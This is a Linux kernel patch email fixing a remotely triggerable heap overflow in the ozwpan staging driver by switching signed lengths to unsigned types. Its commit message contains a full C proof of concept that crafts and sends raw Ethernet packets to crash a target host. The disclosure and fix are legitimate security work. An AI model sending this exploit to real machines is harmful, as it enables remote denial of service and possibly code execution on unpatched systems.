[PATCH 2/4] ozwpan: Use unsigned ints to prevent heap overflow

["Jason A. Donenfeld" <Jason@zx2c4.com>]

Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
 drivers/staging/ozwpan/ozhcd.c   | 8 ++++----
 drivers/staging/ozwpan/ozusbif.h | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
 /*
  * Context: softirq
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
-			int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+			u8 length, u16 offset, u16 total_size)
 {
 	struct oz_port *port = hport;
 	struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
 	if (!urb)
 		return;
 	if (status == 0) {
-		int copy_len;
-		int required_size = urb->transfer_buffer_length;
+		unsigned int copy_len;
+		unsigned int required_size = urb->transfer_buffer_length;
 
 		if (required_size > total_size)
 			required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
 
 /* Confirmation functions.
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
-	const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+	const u8 *desc, u8 length, u16 offset, u16 total_size);
 void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
 	const u8 *data, int data_len);
 
-- 
2.3.6